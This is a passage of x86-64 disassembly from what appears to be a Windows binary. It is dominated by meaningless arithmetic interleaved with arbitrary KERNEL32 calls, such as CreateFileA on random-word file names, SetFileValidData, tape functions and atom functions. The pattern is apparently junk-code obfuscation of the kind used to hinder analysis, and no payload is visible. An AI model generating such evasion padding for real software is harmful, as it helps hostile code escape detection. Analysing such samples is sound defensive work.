mov rax, rcx
mov rcx, qword [rsp + 0x90d0]
mov qword [rcx], rax
lea rax, [rsp + 0x10ac]
mov qword [rsp + 0xbe88], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0xbe18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.Wc_r8], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe90], rax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0xce]
sub eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xaf10]
movzx eax, word [rax]
mov word [rsp + 0x1110], ax
movzx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0xa9f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc40], ax
mov r9d, 2
lea r8, [rsp + 0xa568]
mov rdx, qword [rsp + 0xb580]
mov rcx, qword [rsp + 0xa538]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43c0], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x6c]
add eax, ecx
mov rcx, qword [rsp + 0x9678]
mov byte [rcx], al
lea rax, [rsp + 0xb9b8]
mov qword [rsp + 0xbe98], rax
mov rax, qword [rsp + 0xbba8]
mov rcx, qword [rsp + 0xb538]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9e88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4780]
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xa150]
mov ecx, dword [0x1401e741c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4930], eax
lea rcx, [rsp + 0xbea0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa720]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x106c]
add eax, ecx
mov word [0x1401e76b8], ax
movzx eax, word [rsp + 0xbb4]
mov word [rsp + 0x1114], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb8d0], rax
lea rcx, [rsp + 0x2a120]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4460], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [0x1401e7630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd5]
add eax, ecx
mov byte [rsp + 0xf3], al
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x120]
xor eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
movzx eax, word [rsp + 0x10e0]
mov word [rsp + 0x1118], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:cantorUnversedHauntSelfesteemMouthed
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbea8], rax
mov rax, qword [rsp + 0xb2c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7420]
shl rax, cl
mov rcx, qword [rsp + 0xaad0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4538]
mov dword [rsp + 0x4af8], eax
mov rax, qword [rsp + 0xbe00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9d90]
mov qword [rsp + 0xbeb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbeb0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x44a4], eax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [0x1401e6008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1a0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
movsx eax, word [rsp + 0xe70]
mov rcx, qword [rsp + 0xabb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e76f0], ax
movzx ecx, word [rsp + 0xfec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc7c], ax
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0x166], al
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xd14]
imul eax, ecx
mov rcx, qword [rsp + 0xae20]
mov word [rcx], ax
lea rax, [rsp + 0xc08]
mov qword [rsp + 0xbeb8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbec0], rax
mov rax, qword [rsp + 0xb000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb060]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
movzx ecx, word [rsp + 0xbfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xbcb8]
mov ecx, dword [rsp + 0x4604]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b8], eax
lea rax, [rsp + 0xbc50]
mov qword [rsp + 0xbec8], rax
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0x9be0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb598], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
mov eax, dword [rsp + 0x49dc]
mov dword [rsp + 0x4afc], eax
movzx ecx, word [rsp + 0xe20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x111c], ax
mov rax, qword [rsp + 0xa588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e608f], al
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [0x1401e7830]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0xdc8]
mov qword [rsp + 0xbed0], rax
lea rdx, [rsp + 0x447c]
mov rcx, qword [rsp + 0xb350]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x9f28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbb50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdf0], ax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xbe98]
mov rcx, qword [rsp + 0xb938]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb498], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0x458c]
mov qword [rsp + 0xbee0], rax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa388]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0xa400]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e6092], al
mov rax, qword [rsp + 0xb728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf14]
xor eax, ecx
mov word [rsp + 0xc90], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:porterageOntologyuranus
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xaf38]
movzx eax, byte [rax]
mov byte [rsp + 0x167], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4564], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb4f8], rax
mov rax, qword [rsp + 0xbaa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xbb28]
mov word [rcx], ax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov word [rsp + 0x1120], ax
mov rax, qword [rsp + 0x9190]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb830]
mov qword [rsp + 0xbef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbef0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9730], rax
mov eax, dword [rsp + 0x4afc]
mov rcx, qword [rsp + 0x9f50]
mov qword [rsp + 0xbef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbef8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x49ec], eax
lea rax, [0x1401e6020]
mov qword [rsp + 0xbf00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0x9bc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4444]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9400]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6063], al
lea rcx, [rsp + 0xbf08]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x94d8]
movzx eax, word [rax]
mov word [rsp + 0x1124], ax
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb6b8]
mov byte [rcx], al
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4620], eax
movzx eax, word [rsp + 0xf40]
movzx ecx, word [str.__f_n_]
add eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7a0]
movzx eax, word [rax]
mov word [rsp + 0x1128], ax
mov rax, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0x9828]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0xb8a8]
mov eax, dword [rax]
mov dword [rsp + 0x4b00], eax
mov rax, qword [rsp + 0x8f00]
mov ecx, dword [rsp + 0x4364]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4388], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x97f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9348]
mov qword [rcx], rax
lea rax, [rsp + 0x90]
mov qword [0x1401e7920], rax
mov rax, qword [rsp + 0xa530]
movzx eax, word [rax]
mov word [rsp + 0x112c], ax
movsx eax, word [rsp + 0xedc]
mov rcx, qword [rsp + 0xb5a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb68], ax
movzx ecx, word [rsp + 0xbec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x111c], ax
mov rax, qword [rsp + 0xb3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0x9ec0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7848]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa960]
mov byte [rcx], al
mov rax, qword [rsp + 0x9150]
mov eax, dword [rax]
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0x9068]
mov rcx, qword [rsp + 0xb770]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4644], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3eb6
mov rcx, qword [rsp + 0x9510]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b08], eax
mov rax, qword [rsp + 0x9210]
mov rcx, qword [rsp + 0xbc00]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x434c], eax
lea rax, [rsp + 0xa988]
mov qword [rsp + 0xbf10], rax
mov rax, qword [rsp + 0xae20]
movzx eax, word [rax]
cdq
mov ecx, 0xdf7
idiv ecx
mov word [0x1401e6010], ax
mov rax, qword [0x1401e75d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9d]
shl eax, cl
mov rcx, qword [rsp + 0x9df8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [rsp + 0x169], al
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
or eax, ecx
mov rcx, qword [rsp + 0xbdf0]
mov byte [rcx], al
movsx eax, word [0x1401e6050]
movsx ecx, word [rsp + 0xd4c]
sar eax, cl
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0xb448]
mov qword [rsp + 0xbf18], rax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9700]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa968], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rax, [0x1401e6014]
mov qword [rsp + 0xbf20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xbf28], rax
mov rax, qword [rsp + 0x9fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4800]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e38]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x9ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x94], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4480], eax
movzx eax, word [rsp + 0x102c]
mov word [0x1401e7928], ax
mov rax, qword [rsp + 0xae40]
movzx eax, byte [rax]
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0xb500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd3c]
sub eax, ecx
mov word [rsp + 0x110c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx eax, byte [0x1401e6052]
mov byte [rsp + 0x16b], al
mov rax, qword [rsp + 0xb1d0]
mov ecx, dword [rsp + 0x47b0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov dword [rcx], eax
lea rax, [rsp + 0xae98]
mov qword [rsp + 0xbf30], rax
mov rax, qword [rsp + 0xbec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0xa210]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4574], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0x9888]
movzx eax, byte [rax]
mov byte [rsp + 0x16c], al
lea rdx, [rsp + 0x281f0]
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4b0c], eax
movsx eax, word [rsp + 0xf5c]
mov rcx, qword [0x1401e7610]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e60f8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [rsp + 0x9af0]
mov byte [rcx], al
lea rdx, [rsp + 0x283b0]
mov rcx, qword [rsp + 0xbb88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4a10], eax
lea rax, [rsp + 0xc08]
mov qword [rsp + 0xbf38], rax
movzx eax, word [rsp + 0x101c]
mov rcx, qword [rsp + 0xb150]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb718]
mov word [rcx], ax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa598]
shr rax, cl
mov qword [rsp + 0xab80], rax
lea rax, [rsp + 0x45fc]
mov qword [rsp + 0xbf40], rax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0xaac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9530]
mov rax, qword [rax]
mov qword [rsp + 0xbf48], rax
mov rax, qword [rsp + 0xbaa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdbc]
or eax, ecx
mov word [rsp + 0xfe0], ax
movsx eax, word [0x1401e6104]
mov rcx, qword [rsp + 0xaa08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7870]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x9608]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaab8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0x120]
mov byte [rsp + 0x16d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov r9d, 0x110c
xor r8d, r8d
lea rdx, [rsp + 0xb300]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x444c], eax
movzx eax, word [rsp + 0xbb4]
mov rcx, qword [rsp + 0xa5e8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9d40]
mov word [rcx], ax
lea rax, [rsp + 0xb578]
mov qword [rsp + 0xbf50], rax
mov eax, dword [rsp + 0x4818]
mov ecx, dword [rsp + 0x4418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4548], eax
mov rax, qword [rsp + 0x97a8]
mov ecx, dword [rsp + 0x48d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
lea rax, [rsp + 0xb998]
mov qword [rsp + 0xbf58], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xbf60], rax
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov byte [rcx], al
lea rax, [rsp + 0xe58]
mov qword [0x1401e7930], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xbf68], rax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10c], al
movzx eax, word [0x1401e74e0]
mov word [rsp + 0x1130], ax
lea rcx, str.Yesteryear_unversed
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf98], ax
lea rcx, [rsp + 0x26a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd1]
add eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
mov edx, 0x4cad87
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4b10], eax
mov rax, qword [rsp + 0xac68]
mov rcx, qword [rsp + 0xa2a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d70]
mov qword [rcx], rax
lea rax, [rsp + 0x476c]
mov qword [rsp + 0xbf70], rax
mov rax, qword [rsp + 0xa2e0]
mov rcx, qword [rsp + 0xac40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x437c], eax
lea rax, [rsp + 0x9fa0]
mov qword [rsp + 0xbf78], rax
mov rax, qword [rsp + 0xb780]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbdc]
and eax, ecx
mov word [0x1401e603c], ax
mov rax, qword [rsp + 0xb620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb850]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf8], al
movzx eax, word [rsp + 0xe2c]
movzx ecx, word [rsp + 0x1114]
sar eax, cl
mov word [rsp + 0xd08], ax
movzx eax, byte [rsp + 0x5d]
mov byte [rsp + 0x16e], al
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46a0], eax
mov rax, qword [rsp + 0xb368]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdc4]
or eax, ecx
mov word [rsp + 0xde4], ax
mov eax, dword [rsp + 0x44ac]
mov dword [rsp + 0x4b14], eax
mov rax, qword [rsp + 0xb3d8]
mov rcx, qword [rsp + 0xa358]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0xbb68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9598], rax
movzx ecx, word [rsp + 0xfc8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1134], ax
mov eax, dword [rsp + 0x4a8c]
mov dword [rsp + 0x4b18], eax
mov rax, qword [0x1401e75f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9608]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6093], al
mov rax, qword [rsp + 0x95c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9838]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9b88], rax
lea rax, [rsp + 0xca8]
mov qword [rsp + 0xbf80], rax
movzx eax, byte [0x1401e6086]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0xae40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb38]
movzx eax, word [rax]
mov word [rsp + 0x1138], ax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x48cc], eax
mov rax, qword [rsp + 0xb7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4380], eax
mov rax, qword [rsp + 0xbcf0]
mov rcx, qword [rsp + 0xbbf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov qword [rsp + 0xbf88], rax
mov eax, dword [rsp + 0x4468]
mov ecx, dword [rsp + 0x4960]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x10b]
mov rcx, qword [rsp + 0xa928]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6096], al
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x113c], ax
movzx eax, word [rsp + 0xd50]
movzx ecx, word [rsp + 0xda4]
sub eax, ecx
mov word [rsp + 0xf88], ax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb428]
mov word [rcx], ax
mov edx, 0x50a1cb
mov rcx, qword [rsp + 0xb678]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4324], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4b1c], eax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xbf90], rax
mov rax, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0xa540]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa2d0], rax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0xbf98], rax
mov eax, dword [rsp + 0x4a4c]
movzx ecx, al
mov eax, dword [rsp + 0x48d0]
shl eax, cl
mov rcx, qword [rsp + 0x9198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4574]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b00], eax
mov rax, qword [rsp + 0xae50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e78d0], ax
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0x16f], al
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x438c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [0x1401e75e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbf0], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xbfa0], rax
movzx eax, word [rsp + 0xc34]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8d0]
mov rcx, qword [rsp + 0xbd00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x93c8], rax
lea rax, [rsp + 0xbc50]
mov qword [rsp + 0xbfa8], rax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x442c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4964], eax
mov eax, dword [rsp + 0x467c]
mov dword [rsp + 0x4b20], eax
movzx eax, byte [rsp + 0x124]
mov byte [0x1401e74c5], al
mov rax, qword [rsp + 0xbd18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0xb430]
mov byte [rcx], al
movzx eax, word [rsp + 0xdec]
mov word [rsp + 0x1140], ax
movzx eax, byte [0x1401e7493]
movzx ecx, byte [rsp + 0x7c]
and eax, ecx
mov byte [rsp + 0x137], al
lea rcx, [rsp + 0x269c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9cd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov qword [rsp + 0xbfb0], rax
mov rax, qword [rsp + 0xad88]
mov ecx, dword [rsp + 0x45e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x487c], eax
mov rax, qword [rsp + 0x9530]
mov rax, qword [rax]
mov qword [rsp + 0xbfb8], rax
mov eax, dword [rsp + 0x47f4]
mov ecx, dword [rsp + 0x4394]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9438]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [0x1401e74a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb218]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa818]
mov word [rcx], ax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x170], al
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xd54]
shl eax, cl
mov rcx, qword [rsp + 0xa280]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0xba00]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0xab20]
mov qword [rsp + 0xbfc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfc0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xbfc8], rax
mov eax, dword [rsp + 0x495c]
mov ecx, dword [0x1401e6014]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb388]
mov dword [rcx], eax
